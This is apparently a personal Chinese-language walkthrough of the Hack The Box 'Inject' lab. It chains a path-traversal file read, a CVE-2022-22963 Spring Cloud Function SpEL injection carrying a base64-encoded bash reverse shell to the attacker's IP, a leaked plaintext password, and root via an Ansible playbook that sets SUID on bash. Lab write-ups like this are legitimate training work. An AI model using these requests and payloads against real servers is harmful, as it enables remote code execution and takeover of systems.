靶场ip: 10.10.11.204
kali攻击机tun0ip:10.10.14.36
hack the box靶场的配置网上很多,这里就不赘述了
Inject是我在htb尝试的第一个靶机,难度系数:easy
kali可以ping通靶场,那就可以开始了
dirb扫描端口
nmap -A 10.10.11.204
开放了http 8080端口
访问8080端口
dirb扫一下目录(会有点慢)
发现了一个可以上传文件的地方
上传图片成功后可以查看图片
点击View your Image后发现url是xxx?img=xxxx的格式,很有可能存在文件包含漏洞(LFI)
使用bp抓包修改img=内容,试包含/etc/passwd(注意…/要多写几个,不然会返回错误页面)
果然存在漏洞
使用bp的Intruder
模块FUZZ一下目录文件
配置如下
返回的文件有点眼熟,这不就是根目录的文件咩
查看web站点目录
居然可以查看目录下所有包含的文件,这就好办了
查看pom.xml
配置文件
spring cloud function 3.2.2存在漏洞SpEL注入
org.springframework.cloud
spring-cloud-function-web
3.2.2
CVE Search | Tenable®
查看cve内容
恶意攻击者无需认证可通过构造特定的 HTTP 请求头注入 SpEL 表达式,最终执行任意命令,获取服务器权限。
可以研究研究漏洞原理
(105条消息) CVE-2022-22963 SpringCloud Function SpEL注入漏洞分析_网安员阿道夫的博客-CSDN博客
漏洞利用,都参考一下
hktalent/spring-spel-0day-poc: spring-cloud / spring-cloud-function,spring.cloud.function.routing-expression,RCE,0day,0-day,POC,EXP,CVE-2022-22963 (github.com)
(105条消息) CVE-2022-22963 Spring Cloud Function SpEL 远程代码执行 漏洞复现_Evan Kang的博客-CSDN博客
以下是我本人试过的可行的方法,仅供参考
将反弹shell命令bash -i >& /dev/tcp/10.10.14.36/6666 0>&1
使用base64编码
我这里用tun0的是ip,别的没试过
构造反弹shell
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNi82NjY2IDA+JjEgICA=}|{base64,-d}|{bash,-i}
依旧在上面的bp页面
修改请求头内容为
POST /functionRouter HTTP/1.1
添加一段请求体
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNi82NjY2IDA+JjEgICA=}|{base64,-d}|{bash,-i}")
Content-Length: 5
ccccc
POST /functionRouter HTTP/1.1
Host: 10.10.11.204:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.11.204:8080/upload
Upgrade-Insecure-Requests: 1
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNi82NjY2IDA+JjEgICA=}|{base64,-d}|{bash,-i}")
Content-Length: 5
ccccc
kali开启nc监听
Send
反弹成功~~
目录探测
发现一个配置文件settings.xml
cd /home
ls
cd frank
ls -la
cd .m2
ls
cat settings.xml
发现用户名和密码
phil DocPhillovestoInject123
切换用户
su phil
发现flag
利用pspy
监控进程(网上教的)想去/tmp目录下载pspy文件,发现居然自带了,而且可执行
cd /tmp
ls -la
执行pspy文件
./pspy
发现正在以root权限运行ansible
ansible简介
Ansible是一款自动化运维工具,基于Python开发,集合了众多运维工具(puppet、cfengine、chef、func、fabric)的优点,实现了批量系统配置、批量程序部署、批量运行命令等功能。
Ansible是一种安装在控制节点上的无代理自动化工具。Ansible 从控制节点远程管理机器和其他设备(默认情况下,通过SSH协议)。Ansible
与Saltstack均是基于Python语言开发,Ansible只需要在一台普通的服务器上运行即可,不需要在客户端服务器上安装客户端。因为Ansible是基于SSH远程管理,而Linux服务器大都离不开SSH,所以Ansible不需要为配置工作添加额外的支持。Ansible是基于模块工作的,本身没有批量部署的能力。真正具有批量部署的是Ansible所运行的模块,Ansible只是提供一种框架。
playbook:剧本执行多个任务时,非必需可以让节点一次性运行多个任务
YML简介
- YAML (YAML Ain’t a Markup Language)YAML不是一种标记语言,通常以.yml为后缀的文件,是一种直观的能够被电脑识别的数据序列化格式,并且容易被人类阅读,容易和脚本语言交互的,可以被支持YAML库的不同的编程语言程序导入,一种专门用来写配置文件的语言。可用于如:
Java,C/C++, Ruby, Python, Perl, C#, PHP等。
查看playbook格式
cd /opt/automation/tasks/
- hosts: localhost
tasks:
- name: Checking webapp service
ansible.builtin.systemd:
name: webapp
enabled: yes
state: started
参考上述内容写一个playbook_2.yml
当ansible进程执行playbook_2.yml文件时,root便了赋予bash命令suid权限
- hosts: localhost
tasks:
- name: get root
command: chmod u+s /bin/bash
become: true
上传文件到/opt/automation/tasks/
wget http://10.10.14.36:8888/playbook_2.yml
bash -p
The “bash -p” command is used to run Bash in privileged mode, also
known as “privileged shell” or “superuser mode”.
其实我不是很懂为啥要用bash -p命令=_=,可能是为了切换shell的权限?
提权成功
获得flag
o了